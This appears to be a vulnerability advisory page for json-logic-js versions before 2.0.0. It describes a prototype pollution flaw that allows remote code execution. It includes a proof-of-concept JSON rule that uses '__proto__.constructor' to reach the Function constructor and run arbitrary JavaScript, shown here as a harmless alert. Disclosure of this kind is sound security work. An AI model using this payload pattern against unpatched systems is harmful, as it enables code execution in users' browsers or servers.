Описание
Prototype Pollution in json-logic-js
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Пакеты
Наименование
json-logic-js
npm
Затронутые версииВерсия исправления
< 2.0.0
2.0.0
Дефекты
CWE-471
Дефекты
CWE-471